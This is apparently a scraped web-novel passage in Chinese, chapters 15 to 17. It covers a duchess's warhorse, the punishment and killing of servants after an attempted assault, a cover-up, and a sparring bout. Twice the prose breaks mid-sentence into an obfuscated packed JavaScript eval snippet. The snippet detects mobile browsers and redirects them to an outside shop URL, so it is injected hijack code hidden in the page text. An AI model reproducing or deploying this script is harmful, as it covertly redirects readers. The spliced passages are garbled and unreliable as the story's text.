“诚然,所有马儿都是美丽的生灵,每试完一匹,我都觉得很喜欢,但同时我也会想‘再看看吧,也许下一匹会更好呢?’,没有哪匹马能让我产生那种一锤定音,非它不可的感觉。所以很长一段时间里,我都没有自己的专属坐骑,多数时候都骑着扈从训练用的马……直到我遇见贝斯特拉。” 瑟洛里恩耸了耸肩:“显然,你哥哥多半没料到人生的一匹马可以既是你最喜欢的,也是最好的。”说到这里,他忽然起了兴致,“对了,先前在马厩里相马的时候,安德斯跟我聊起过贝斯特拉的故事。” 希瑟看起来并不意外,只是有些无奈:“他和谁都聊起过贝斯特拉的故事。” 瑟洛里恩也不意外——如果培育了马中女王的人是他,他肯定也天天和别人说起这件事:“不敢相信居然没有人把这些故事写成诗歌,我觉得这比那些猎奇的大力士故事有趣多了。” 希瑟的脸看起来更红了:“你看过吗?那些……呃……” “是,《屠龙者大力士》。”他看着她通红的脸庞,忽然有种恶作剧得逞的快感,强调道,“每一篇都看过。” 《屠龙者大力士》是南方的吟游诗人根据一部分史实(以及大部分的幻想)编写出的一系列短篇故事。虽然出自不同人之手,但重点都是描述大力士希瑟·凯洛在战胜敌人后,是如何徒手(这一点很重要)对敌人进行暴力处决的。 说符合部分事实,是因为故事中被处决的敌人确实是希瑟在现实中遇到并击败过的对手,例如萨迦里王的五名歃血兄弟,强盗之王佐尔坦,正义者之矛的几位领主等等。 但瑟洛里恩是一位实事求是的读者。根据他的考据,大多数诗人都搞混了这些故事发生的具体地点和时间线,因此经常会出现诸如“强盗之王佐尔坦两小时横穿整个北境”,“萨迦里王的斧头飞行一整年终于命中了亚恒男爵”之类的神奇错误。 而且这些敌人并未悉数死亡。例如佐尔坦,在他的强盗洞窟被希瑟带兵清剿之后,他本人被送往王都进行最终审判,最后是死在绞刑架上的。“正义者之矛”是一个以利益为纽带的松散联盟,近一半的领主在看到希瑟接连取胜后,就主动以礼来降,这些投降的领主基本都活到了现在。 当然,在吟游诗人的故事里,他们无一不被大力士希瑟·凯洛徒手碎颅,或是扯断脖子,或是撕裂身体,总之都是死无全尸的。 故事发展到最后,已经变成了大力士希瑟·凯洛会将敌人高高举过头顶,像拧毛巾一样拧碎他们的身体——“鲜血如泉水般浇遍了她的身躯,这正是希瑟·凯洛保持年轻和强壮的秘诀”。 瑟洛里恩不确定这位诗人是抱着怎样的心情写下了这段话,但他读到这里的时候实在是很想笑。 希瑟敏锐的洞察力再一次发挥了作用:“我可没有徒手捏碎别人脑袋的爱好。” “那是当然。”瑟洛里恩私下一直在考虑如何补充完善《北境百科全书》,假如以后他真的接手了这份工作,就有机会对这些谬误进行纠错,并将真正值得流传的事迹编撰成诗了,“还是贝斯特拉的故事比较有趣。所以你是怎么一眼相中这位女王的?” 可能是因为提到了自己的爱马,希瑟的神情重新放松下来:“让我想想该怎么说……客观而言,任何人都很难不第一时间看到贝斯特拉。它实在太美丽了,我以前也见过其他阿哈什库曼马,但都没有遇见它时那种被击中的感觉,就像是——像是爱神用箭射中了你,伤口流淌的不是鲜血,而是甘醴和蜜糖。” 喔噢……瑟洛里恩发现他的妻子真的很擅长讲情话,虽然是对一匹马说的。 “再好的骑手都会和新坐骑有一段磨合期,但贝斯特拉和我完全不需要这些。”擅长说情话的凯洛公爵继续道,“在我骑上它的瞬间,就感觉它如同我的手脚一般,永远成为了我身体的一部分。” “勇敢是一匹战马最基本的品质,大多数战马哪怕嗅到狼的气味也能保持镇定,却很难在巨龙的吐息前毫不胆怯。当我与毒龙进行最终决战时,龙焰烧焦了贝斯特拉的鬃毛,可它依然没有把我甩下来,只是一而再、再而三地冲向那条龙,不断地发出嘶鸣,仿佛在对眼前的庞然巨兽发脾气一样。” 说罢,希瑟低下头,亲昵地抚摸着爱马的鬃毛:“正是它旺盛的生命力,支撑着我度过了最艰难的时光。” 贝斯特拉小小地跳跃了两下作为回应——很奇特,阿哈什库曼马体格庞大,做这个动作应该会显得很笨拙才对,但由它来做只让人感觉矫健有力。 瑟洛里恩因此注意到了它左前蹄上那个疤痕一样的形状:“那是贝斯特拉的胎记吗?” 马会有胎记吗?他也不是很清楚。 “不,那是……”希瑟的面色沉了下来,“那是它踩进陷马坑后被锐利的石子划伤的。” 他愣了一下:“抱、抱歉……” 希瑟摇了摇头:“没什么,都是过去的事情了。”她轻轻叹息一声,“事实上,当时我差一点就失去它了……石子划伤只不过是小问题,真正可怕的是马蹄骨折。” “骨折对马来说很严重吗?” “虽然不会立刻致命,但基本与死亡无异。”她答道,“马的身体构造很奇妙,相较于庞然的身躯,它们的四肢显得过于纤细了。只要失去一条腿,就会给其他三条腿带来极大的负担,最终引发蹄叶炎……何况,马不像人类一样有静养的意识,即使受伤了,本能依然会驱使它们想要奔跑。” “哪怕马儿本身足够乖巧,愿意在养病期间保持不动,长时间的侧躺也会给它们带来极大的伤害,肺部的积液长期无法排出,会导致马儿患上肺炎。可如果选择站立,就有患上蹄叶炎的风险。大部分情况下,一旦马儿骨折了,就必须即刻结束它的生命,硬拖时间也只会给它带来更多痛苦。” 瑟洛里恩感到不可思议——那可是贝斯特拉啊!无数次驰骋于战场,连面对毒龙都毫无畏惧的骏马,很难想象它居然会因为不小心踩进了陷阱里而面临死亡的威胁。 “当时的我不得不做出决定……继续治疗,或是结束它的痛苦。”她的声音越来越轻,越来越低,充满了悲伤,“虽然有骑士愿意代替我动手,可我怎么能在这种时候逃避呢?我命令其他人在外面等候,独自走进了马厩。每迈出一步,我就感觉心碎了一次,但又唯恐我的软弱致使贝斯特拉遭受更多折磨。” 说到这里时,希瑟缓慢地做了一个深呼吸。 “但出乎我意料的是……”她的语气听起来轻松了一些——不能说是完全地放松,但至少不那么令人窒息了,“贝斯特拉表现出了强烈的求生欲。” “长久以来,贝斯特拉和我已经形成了某种近似心灵感应般的联系。那个时候,我能清楚地感受到它的不甘与挣扎,就好像它不愿意接受自己将要死在这样一个小小的马厩里,落魄、可怜,毫无荣誉可言……毕竟,它是一匹多么骄傲的马啊。马中女王贝斯特拉的墓地只有战场,而当它死去的时候,必定身披敌人的鲜血。” 贝斯特拉发出了一声嘶鸣,随后又喷了两下响鼻,仿佛对此感到光荣。 希瑟揉了揉它的脖子:“我曾见过不少坚持治疗的马主,最后马儿在病痛的折磨下变得骨瘦如柴,死去时身体不比一头羊大多少,可怜至极……尽管如此,我还是决定再治疗一段时间。” “康复的过程一定很不容易。” 她点了点头:“虽然贝斯特拉在养伤期间非常配合,没有二度受伤,可是还有许多客观上需要克服的困难。首先是姿势问题。如我之前所说,马不能长期侧躺,但三条腿站立又有引发蹄叶炎的风险。” “为了减轻负担,我只好考虑用布把贝斯特卡的身体兜住,然后用绳子把布吊起来——客观上更像是把它的身体托起来。为了实现这个想法,我设计了一个可以承受住成年马体重的吊重桩,以及一套较为复杂的滚轮组合……” 瑟洛里恩咳嗽一声:“我记得某人不久前还说自己已经几年没过动笔了。” “那只是一些粗糙的设计图纸,没有任何美学可言。”她似乎有点不好意思,“坦诚说,我对自己的设计并不是很有信心……幸好埃达城的工匠足够优秀,最终还是造出了可以投入使用的成品。感谢命运的眷顾,贝斯特拉最终没有患上蹄叶炎,经过一个多月的休养,它顺利康复了,变回了那个暴躁又好战的小姑娘。” 大概也只有希瑟会管这匹马叫小姑娘了……不过,瑟洛里恩还是在心里为它的康复感到高兴:“那最后岂不是一举两得?贝斯特拉恢复了健康,埃达城也掌握了治疗马蹄骨折的技术。” “不,吊马兜并没有想象中那么好用。大多数马儿都不喜欢被吊起来,还会因为惊慌挣扎导致伤口加重。”希瑟面露惋惜,“而且马和人一样,皮肤被压久了会生出褥疮。通常来说,马儿骨折后需要两到三个月的时间才能康复,而贝斯特拉……可能是沐浴过龙血的缘故,它的恢复速度明显比其他马要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14129356|149120||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 快。贝斯特拉之所以能够痊愈,更多是因为它自身的努力,我只是帮了一点微不足道的小忙。” ……是错觉吗? 他看着她,看到那双绿眼睛在昏暗的天色下依旧明亮,莫名感觉一股美好的感情油然而生。 瑟洛里恩知道自己偶尔会过于感性,哪怕只是见到路边有一朵野花盛开,他也会感到高兴,可是希瑟……那完全是另一种意义上的感觉,就像是有一簇微小的火苗在胃里燃烧,抚平了某种并不存在的疼痛……天气很冷,但火的温度使他感到温暖。 “每次我帮贝斯特拉翻身的时候,它都非常温顺,从不挣扎半分——说实话,以前我从未见过它如此文静的样子。只要我手里还拿着草料,它就会坚持吃完,为身体储备能量。我知道在这一切背后,是它对于再度奔跑的渴望……那时我就暗自发誓,无论要付出怎样的代价,我都不会放弃它。” 如果一定要用某个形容词来描绘希瑟此刻看向贝斯特拉的神情,瑟洛里恩只能想到“令人着迷的”。 摒除他的所有主观想法,希瑟虽然不像许多传闻中那样可怕,但也绝对称不上漂亮。但有那么一会儿,他感觉自己就像喝醉了一样,沉迷在这个女人深情的目光和她脸颊淡淡的红晕中,近乎到了有些神志不清的地步。 他的视线一刻也无法从她身上离开。 与此同时,他还有些不合时宜地想起了塞德里茨·欧根——虽然瑟洛里恩没有真正见过他,但他显然是一个白痴,否则就不会放任这样的奇迹从自己手中流走。 等他们回到白盔堡的时候,早就过了晚餐时间。瑟洛里恩饥肠辘辘,不想再跑一趟城堡大厅,本打算说服希瑟在卧室里用餐,扭过头后却看见了她脸上歉意的表情。 “我还有一些尚未完成的工作需要处理。”她说,“厨房为我们留了晚餐,你回到卧室后应该很快就会送到。如果我很晚都没有回来,你就先睡吧,不必特意等我。” “好的。”瑟洛里恩表面上答应了——但他当然会等她回来之后再睡觉。 走进城堡后,他活络了一下手脚,决定先去公共浴池泡个澡,暖和一下冻僵的身体。 “瑟洛里恩殿下!” 瑟洛里恩回过头,一名女仆急匆匆地向他跑来……是叫简妮吗?令人羞愧的是,虽然他自诩记忆力不错,但总是很难把人的脸和他们的名字对上。 “别惊慌。”他聪明地省去了名称环节,“发生什么事了?” “是罗南,您的仆人……” 他花费了一段时间,才想起罗南是雀斑脸的名字,心中顿时升起一股不好的预感:“他怎么了?” 对方粗喘着气:“他把蕾贝卡拖进仓库里,想要……想要侵犯她……幸好有巡逻的卫兵听见她在呼救……” 一股寒意骤然攫住了他——比北境的大雪更加可怕。他感觉血液发冷,皮肤下传来细微的刺痛,仿佛冰碴流淌时划破了他的血管。 “立刻带我过去。”瑟洛里恩几乎听不见自己的声音,它们已经被呼啸的寒风吞没了。 当他赶到仓库时,雀斑脸陡然亮起的双眼让他的胃部一阵紧缩。 “殿下!”对方跪爬到他跟前,像是抓住最后一根稻草般紧紧抓住了他的衣摆,他的脸上满是青紫色的淤痕,眼里却点燃了希望之火,“您终于来了!救救我!救救我吧!” 瑟洛里恩只感到恶心:“你怎么能做出这种无耻的事情?” “天父在上!我是冤枉的啊!”雀斑脸像是被宰杀的猪一样发出嚎叫,“我发誓!是那个女孩先对我眉目传情的!都是因为她用那甜美的微笑和轻佻的目光挑逗我,我才会错了意。殿下,求您救救我吧!我……” “住嘴!”他忍不住把对方一脚踹开。 雀斑脸摔倒在地上,呼吸变得又粗又重,尽管摆出一副可怜模样,瑟洛里恩却察觉到了他紧绷的下颚和怨毒的目光。 “难道您不相信我吗?我可是您忠实的仆人啊……”他的声音也变得古怪起来,“我一直小心翼翼地守护着您的秘密,世上难道还有比这更赤诚的忠心吗?” 该死…… 瑟洛里恩如鲠在喉,假如他当初能下定决心杀死这个家伙,蕾贝卡就不会遇见这种事情,而他也不会落入这样两难的境地了。 可是在众目睽睽之下,他一句话也说不出来,只能这样僵在原地。 如果他开口的话,希瑟也许会看在他的份上网开一面,但……他真的要违心保下他吗?这种卑鄙小人根本不值得宽恕…… 就在此时,一阵急促的脚步声由远及近——是伊薇特。她快步走进仓库,小脸红扑扑的,不知道是刚洗完澡还是又发烧了。 “事情的前因后果,我都已经知道了。”伊薇特环视四周,目光最终落在了他的身上,“我的姐姐凯洛公爵正在与诸位大人进行一场重要的会议,所以这件事由我代为处理。瑟洛里恩殿下,您应该没有意见吧?” 他艰难地从喉咙里挤出回应:“我……” 没等他说完,伊薇特就径直走向了雀斑脸。 瑟洛里恩以为她会扇他一耳光,或是踢他一脚——下一秒,他看见伊薇特从袖子里抽出小刀,捅进了雀斑脸的喉咙。 16. 第十六章 直至深夜,希瑟才得以从会议室脱身。但这还不算结束,接下来她还要去地牢。 白盔堡的地牢位于西北角的墓园附近——凯洛家族坚信先祖之灵的威势能够镇压这些宵小之徒。不久前才下了一场大雪,但辛勤的仆从依然在白天清理出了一条方便行走的小道。她提着油灯,踩过碎石、残雪和沥青,布琳迪丝女士紧跟在她身后。 “蕾贝卡还好吗?” “起初还有些惊魂未定,但很快就平复下来了,身上的淤伤我也都搽了药膏。”布琳迪丝女士回答,“不过以防万一,我还是给了她一壶热羊奶酒,用于助眠。” “可怜的孩子……”希瑟推开厚重的门扉,生锈的门轴发出哀怨的呻吟,与嚎哭塔凄厉的泣声交织在一起,渡鸦的影子从油灯照亮的墙壁上一掠而过。 她们走下楼梯,走廊口的长椅上坐着两名卫兵,一见到她便站起来行礼。 希瑟微微颔首作为回应,布琳迪丝女士说道:“公爵大人有些事情要处理,你们都到外面待命。” “是。” 穿过昏暗的走廊,她们一路走到最尽头的那间牢房。借助洒进房间的月光,希瑟大致能看见两个蜷缩在地上的人影,但她还是将油灯挂在了墙壁的铁钩上,让灯火照清他们的脸。 地上的两人迷迷糊糊地醒了过来——希瑟没怎么见过那三名来自王室的仆从,也分不清被处死的是谁,眼前的两个又是谁,不过这些都无关紧要了。 “公……公爵大人……”其中一个率先缓过了神,连滚带爬地冲了过来,铁链叮叮哐哐的声响在地牢幽邃的走廊里回荡,“我是无辜的啊!事情都是罗南做的!我什么也不知道!” “我、我也是!”另一个也跟着恳求,“他犯下的罪过和我们一点关系也没有,请您明鉴啊!公爵大人!” 希瑟并不回答,只是看向身旁的布琳迪丝女士:“他们各自都叫什么?” “缺了一颗门牙的是马拉奇,另一个是唐恩,大人。” 希瑟看着他们:“自从亲王殿下来到北境,已经过去快半个月了。而身为他的贴身仆人,你们却总是怠惰职务,并且多次违背城堡的宵禁,偷偷跑去城镇酗酒赌博,经常一连几天不见踪影,以至于我对你们几乎毫无印象。” 唐恩嚅嗫道:“可是……大人,我们事先真的不知道罗南他会……” “你们被关在这里的原因与你们死去的同伴无关。”她打断了他,“很显然,你们沐浴在王室的光辉中太久,已经忘了自己身为仆从的职责。即使你们和那个死去的罪人无关,白盔堡也容不下这样的骄傲。作为惩罚,你们将被逐出埃达城,并且永远不能再踏入这里一步。” “不、不行啊,大人,请千万不要赶我们走……”唐恩几乎要哭了,“假如我们回了王都,国、国王陛下一定会处死我们……” 希瑟已经失去了耐心:“没有让你们坐完牢再被赶走,已经是我最大的仁慈了。至于你们离开后是要回王都还是要去哪里,并不是我需要考虑的事情。” 说完,她正打算离开,却被地上的马拉奇紧紧抓住了靴子。 “大人……”他的语气竟奇异地平静下来,半张脸藏在阴影下,令人看不清表情,“只要您答应让我继续留在这里,我可以告诉您一个关于瑟洛里恩亲王的秘密。” 听到他的话,唐恩大吃一惊:“马拉奇,你疯了吗?!” “闭嘴!”马拉奇对他吼了一句,但扭过头时,又恢复了那种谄媚又狰狞的笑容,“这是一个非常惊人的秘密,不仅事关您的丈夫本人,还牵扯到了国王陛下,我相信您一定会想知道的。” 闻言,她眯起了眼睛:“亲王殿下是你所侍奉的主人,平日似乎也不曾与你为难,你真的打算用他的秘密换取我收回成命吗?” “哈,他可算不上是什么‘主人’。”马拉奇轻蔑地笑了一声,仿佛对自己的处境越发有把握了,“只要您答应让我留下,并且事后不让国王将我召回王都,我一定将真相全部交代给您,没有半点虚言。” 希瑟沉默了片刻,目光盯着墙壁缝隙里长出的褐色杂草——显然已经枯死了,鹅黄色的火光在枯草上轻微闪动,仿佛在拨弄死人的手指。 俄而,她发出感慨:“看来我不得不在这里多待一段时间了……布琳迪丝女士,请拿一把椅子给我。” 马拉奇喜不自胜,希瑟刚一坐下,他便忍不住开口:“瑟洛里恩根本不是真正的王族!他是先王和后厨女佣的私生子,一个没有姓氏的小杂种!” 与他的滔滔不绝相比,唐恩似乎已经完全呆住了,只能战战兢兢地瑟缩在角落里,一个字也不敢出声。 “如果不是陛下没有其他兄弟可选,急需一个人来联姻,他根本不会被纳入王室。”马拉奇舔了舔干裂的嘴唇,他的舌头又细又尖,像是一条湿滑的小蛇,“在此之前,他不过是一只肮脏的小老鼠,靠着厨房的残羹冷炙长大,晚上和牲畜一起取暖,与高贵二字毫无关系。大人啊,这样的人怎么配成为您的丈夫呢?” 希瑟打量着他,好一会儿过去,才侧过头对布琳迪丝女士说:“有时人不得不感谢命运的安排,一旦你习惯了安逸的生活,它就会再次跳出来提醒你,千万不要忘记往日的教训。” “确实如此。”布琳迪丝女士答道。 马拉奇露出了胜券在握的笑容。 “你成功为自己赢得了奖赏。”希瑟宣布,“你不用被逐出埃达城,日后也不会被国王召回。” 说罢,她举起腰侧的手斧,砍下了他的脑袋。 喷涌而出的鲜血像雾一样飘散在空中,染红了墙壁。马拉奇的身体无力地倒了下来,脑袋骨碌碌地滚落到了唐恩的膝盖边,那个得逞的笑容尚未完全变成惊恐,最后形成了一个惊悚又滑稽的表情,并且永远定格在了他的脸上。 唐恩直勾勾地与那颗头颅对视,恐惧夺走了他的声音,直到油灯的火光被晚风吹得跳动了一下,他才猛然回过神,死死地将指甲抠进皮肉里,发出了声嘶力竭的尖叫。 “布琳迪丝女士,请把蕾贝卡以外知晓这件事的人都叫过来。”希瑟顿了一下,补充道,“另外,让外面的两名卫兵回来吧。” “是,大人。” 布琳迪丝女士离开后,她叫来卫兵,让他们将尸体清理掉。 “不用太过费心,在城外就近找个地方下葬即可。”希瑟瞥了一眼牢房的角落,“顺便把他扔在那里,我不想再见到他。” 卫兵利索地将尸体和唐恩带走了。又过了一会儿,布琳迪丝女士带着两个人回到了地牢。 “就两个?” “真正的知情者只有他们,其他人只是知道疑似发生了什么事情,并不清楚具体的内情。”布琳迪丝女士说,“简妮在这方面帮了不少忙。” “很好。”希瑟点了点头,“很高兴见到城堡里还有这样聪明机敏的女仆,简妮。” 女孩害羞地笑了:“您谬赞了。” “以及伊奥兰,正是因为你的尽忠职守,蕾贝卡才躲过了更多伤害。”希瑟说,“毫无疑问,这件事的过错完全在于罗南,介于伊薇已经给了他应有的惩罚,我就不再多提了。但蕾贝卡作为深得我信赖的藏书馆员,我不希望她受到那些流言蜚语的困扰,所以……” 说着,她意味深长地停了一下:“这个叫作罗南的人,私下经常溜到城镇里的酒馆通宵赌博,不止一次输光了身上的所有积蓄,这些事我早有耳闻,只是没想到他竟如此大胆,居然敢窃取我珍爱的妹妹——伊薇特·凯洛的珠宝,被碰巧经过的蕾贝卡发现罪行后,不仅不及时收手,还妄图用暴力封住她的口,最终引发了这样一场荒唐的闹剧。” 简妮立刻反应过来:“是的,大人,像这样无耻的窃贼简直死不足惜。” 伊奥兰明显有些迟钝,但慢了半拍也反应过来:“正、正是如此!” “你们的忠诚尽责都值得嘉奖。”希瑟表示,“布琳迪丝女士,我希望他们最晚都能在明天中午得到应有的回报。” “当然,大人。” 至此,这件事才终于算是结束了。在返回主堡的路上,她向布琳迪丝女士叮嘱道:“告诉蕾贝卡不必急着回去工作,让她多休息几天罢。”为了防止那孩子多想,希瑟又补充了一句,“但至多一周,毕竟我手下可没有多少得用又识字①的年轻人。” 布琳迪丝女士自然心领神会,微笑着回答:“我会一字不漏转告给她的。” 希瑟的衣服上满是血迹,不便去公共浴池或回房洗澡,只好借了布琳迪丝女士房间的浴盆。等她回到卧室时,已经临近午夜了。 甫一推开门,她便看见瑟洛里恩坐在床边,神情中充满了不安:“蕾贝卡……她还好吗?” “她身上有些淤伤,但并无大碍,现在已经睡下了。” “那就好……”尽管这么说,他的神情并没有放松下来,“我……我感到很抱歉……” “这不是你的错。”至于蕾贝卡……虽然眼下没办法告诉她实情,但她是一个聪慧的姑娘,总会用自己的办法厘清情况,“对了,关于马拉奇和唐恩。虽然此事与他们无关,但考虑到他们平日对于职责的懈怠,并不适合继续留在这里工作。我已经下令将他们逐出埃达城。” 瑟洛里恩仿佛对她的话感到困惑,良久才意识到马拉奇和唐恩是那两个仆从的名字。 “我知道这有损你的颜面,但这是必要的处罚。” “噢,那个没关系……我对这项处罚没有任何意见……”他咽了口唾沫,小心翼翼地问道,“不过我还是有点在意……我是说,他们在离开之前有说过什么奇怪的话吗?” “这就不清楚了。”希瑟面不红心不跳地回答,“今天我的行程安排很满,没有心情处理这些杂事,只是让 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14151504|149120||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 卫兵把他们赶走了。至于后续的事情,我也没有兴趣知道。” 直到此时,瑟洛里恩才终于露出了如释重负的表情。 “在此之前,他不过是一只肮脏的小老鼠,靠着厨房的残羹冷炙长大,晚上和牲畜一起取暖,与高贵二字毫无关系”……马拉奇当时的话语在她的脑海中响起。希瑟也曾经历过艰难的岁月,心中不禁对他多了几分怜惜之情。 也正因为如此,她知道相比苍白的安慰,转移注意力更能缓解一个人的焦虑:“事情已经过去了,犯罪者也得到了应有的下场,没必要再为此操心。比起这个,我更想和你商量一下南斯特的事情——还记得之前提到的水银吗?” 果然,一聊到正事,对方就打起了精神:“当然记得!” “水银的用途很多,炼金术、制作颜料、医疗……” “水银才不能拿来治疗……”瑟洛里恩咕哝,“无论是把它混进药膏里,还是用蒸汽法治疗都是愚蠢至极的做法……” “这确实是一个问题。”这一点母亲也提到过,但要纠正那些民间广为流传的错误实在是一件难事,更何况北境的面积如此辽阔,“不过先将目光放在当下。南斯特的手工业非常发达,尤其擅长制作镶有各种华美珠宝边饰的玻璃镜,因此水银的需求量一直很大。如果仅凭这一点,追查起来恐怕并不容易。” “也许可以把水银和铜矿的线索结合一下。”瑟洛里恩提议,“水银和大部分金属都能产生非常活跃的反应,唯独铁除外,所以运送水银必须用铁罐当容器。可以调查一下南斯特有哪些铁匠或盔甲铺经常有装着铁罐的运货车出入。” “好主意。” 希瑟不禁感到很奇妙——她年少时曾经在王都待过一段时间,也与几名王子有过接触(当时他们还没有被阿利斯特清理掉),无一例外都是让她心生厌烦的傻瓜,如今占据着王座的阿利斯特就更是如此了。 反倒是从未被精心抚养过的瑟洛里恩,性格随和,又颇有才干……难道格奈乌斯王死后真有人在王座上下了毒? “我们后天就出发。”她说,“这次出行你就打算带黎塞留爵士一人吗?如果有需要的话,我可以增派几名护卫给你。” “没事,黎塞留很强的!” 说完,瑟洛里恩控制不住打了个哈欠,她也感觉到了一丝倦意:“时间不早了,睡吧。” 将吹灭蜡烛后,希瑟躺在床上,心中感叹真是忙碌的一天。正要闭上眼睛,却听见身旁的瑟洛里恩轻声道:“谢谢……” 她没有想太多,只是随口答道:“一匹马而已,算不了什么。” “不是因为那个……当然,那个也很值得感谢。”他说,“虽然这件事和我没有直接关系,但是雀斑……呃,我是说罗南,他胆敢做出这种事情,说到底还是我平常太过纵容的结果,所以我有着不可推卸的责任。” 瑟洛里恩侧过身,看着她:“谢谢你没有因此对我生气。” 尽管烛火熄灭了,但几缕月光足以照亮他的脸庞。 可能是不久前才洗过澡的缘故,他的面颊上罩着一层自然而红润的容光,玫瑰金色的长发散落在床单上,仿佛晚霞之下流淌的溪水。他的眼瞳是澄澈的浅蓝色,在月光的照耀下近乎透明……当这样一双眼睛满怀真诚地望着你的时候,内心很难不感到触动。 然而,这种美丽却前所未有地触发了希瑟心中的警铃。 她用尽了全部的自制力才没有后退——现在瑟洛里恩的心思一定很敏感,任何一点排斥的反应都有可能伤害到他。 “我永远不会因为别人的错误而对你生气,瑟洛里恩。”她尽可能心平气和地回答。 “永远是很漫长的。” “无论漫长与否,承诺就是承诺。” 房间里回归了寂静。 她本以为这场对话已经结束了,却又听见瑟洛里恩开口:“我从来没有亲眼见过大海……听说海里有一种长着八条腿,浑身滑溜溜的鱼,是真的吗?” 同时,他靠得离她更近了。 这几乎引起了她的恐慌——不是因为她害怕他人的肢体接触,而是她感受到了某种不可抗拒的引力。他越是靠近,那股引力就越是将她拉向他,直至越过一些她曾发誓绝对不会再越过的边界线。 “有人捕获过这种生物。坦诚说,它们看着不太像是鱼,”希瑟不着痕迹地避开了他的视线,在虚无的黑暗中寻觅着安全感,“大部分渔民都会把它们放生,因为他们认为这是海怪②的子嗣。不过也有一些会把它当作食材带回来。” “好吃吗?” “我只吃过一次。”她短暂地陷入回忆,“这种生物无毒,味道也还不错,有食用的价值……但它们生前的样子确实令人不太愉快。” 他打趣道:“屠龙者也会害怕多脚鱼吗?” ……不,瑟洛里恩,我害怕的是你。 17. 第十七章 瑟洛里恩难得一清早就醒了,一是因为他心里不安宁,即使躺在床上也只会胡思乱想,二是他还有一件事情没有做——通知黎塞留明天要出发去南斯特的消息。 他平日起得很晚,不太清楚黎塞留早上一般在干什么,但以对方无趣的生活习惯,多半把时间花费在剑术训练上了。 瑟洛里恩倒是能够理解这种对于某项爱好的极度狂热……不过他只对看书感兴趣,学习剑术只是出于最基本的防身需要。 当他来到白盔堡校场的时候,正好撞见了希瑟和黎塞留的对局。希瑟左手持盾,右手执单手斧……呃,客观而言,那个大小不太像是“单手”斧,只不过希瑟单手拿着它。黎塞留既没有拿训练用的木剑,也没有使用他珍爱的长剑“月辉”。他和希瑟同样持盾,右手拿着一柄短而薄的刺剑。 他们甚至都穿着全套的链甲——配有头盔的那种。不需要多么高深的武学造诣,也能感受到现场的氛围之紧张。 显然,双方都对这场较量抱着严肃的态度,瑟洛里恩并不想打扰他们,只是待在场外安静地观看。 要完全搞清楚场上发生了什么实在是太难了。他观赏过骑士单挑,但出手大多都很磨蹭,两个人不停围着对方绕圈,然后其中一方冲上去挥舞几剑,其余时间大多无事发生。假如他们愿意脱下盔甲换上裙子,就可以围着火堆跳交谊舞了。 但在这里,瑟洛里恩只看到了无数道转瞬即逝的刀光剑影。黎塞留的身位向前,攻击欲望更加强烈,希瑟处于防守位,一直在谨慎而缓慢地后退。黎塞留亦步亦趋,轻巧的刺剑放大了他敏捷迅猛的优势,兵器相撞的铛铛声犹如急促的鼓点,几乎由点连成了线,仅仅是旁观都让人忍不住屏气凝神。 毫无疑问,他的每一次攻击都是认真的,然而希瑟的防守密不透风——此时,瑟洛里恩终于注意到,尽管明面上她在后退,但似乎只是为了顺应黎塞留进攻的节奏,实际上她并不被动,只是在用一种更加巧妙的方式卸掉对手的力道。 可能是意识到了自己的进攻并不奏效,黎塞留忽然收剑,先是两下对希瑟左右双臂的连续劈砍——速度极快,如果不是瑟洛里恩眼前闪过了两道刺眼的银光,几乎不知道他其实进攻了不止一次——然而第三剑更快,直取希瑟的咽喉! 这一击突刺尽显杀机,完全不像是点到为止的切磋。瑟洛里恩看得差点一口气没喘上来,希瑟的应对却很从容,只是用盾轻轻拨开了他的剑尖。刺剑撞在盾牌上发出“咚”的一声——很短促,好似一颗石子掉进了水里。弹开长剑之后,希瑟用斧头的钝面顶了一下黎塞留的肩膀,把他顶得后退了好几步。 显然,希瑟在力量上更强,这可能是黎塞留没有选择与她正面对抗的原因。 但就他的视角来看,希瑟在应对黎塞留时很少用到力量上的优势。她很清楚黎塞留下一步要做什么,因此每一次都能安全地化解他的进攻。 另外,黎塞留习惯双手持长剑,不常用盾。瑟洛里恩已经至少两次看到他因为进攻或被拆招而中门大开了,而当希瑟用斧头顶开他的肩膀时,仍在有意识地在用盾牌抵挡黎塞留有可能攻击的方向。 这或许就是黎塞留所说的“生死一线的瞬间”所磨练出的本能吧…… 不过,黎塞留很快也稳住了身形,这一次他做了个佯攻的动作——剑尖指上,似是要向上刺,最后剑锋一转向下劈去,目标明显是希瑟的小腹——见鬼,怎么又是要害?如果不是知道不可能,他都快怀疑黎塞留是国王派到北境来的秘密杀手了。 希瑟这次没有格挡,而是侧身避开了他的刺击,然后用盾牌重重砸了一下黎塞留的脑袋。 那声巨响实在是令人胆战心惊——由于头盔的遮挡,他很难判断黎塞留此刻的表情,但从对方后倾到差点摔倒的姿势来看,瑟洛里恩相信那一下肯定让他很不好受。 希瑟不再继续攻击,只是将盾牌和战斧放回兵器架,摘下了头盔。黎塞留半跪在地上,连盾都拿不住了,只能双手杵着刺剑支撑身体,沉重地喘着气。希瑟走过去拉了他一把,他才勉强站起来。 随后,黎塞留好像说了些什么,希瑟笑着摇了摇头,帮他把刺剑和盾牌放了回去。黎塞留掀起了头盔的面甲,方便呼吸。他面色涨红,眼神游离,仿佛还没有从刚才的猛击中缓过神。希瑟鼓励地拍了拍他的肩膀……噢,现在他看起来快要倒下去了。 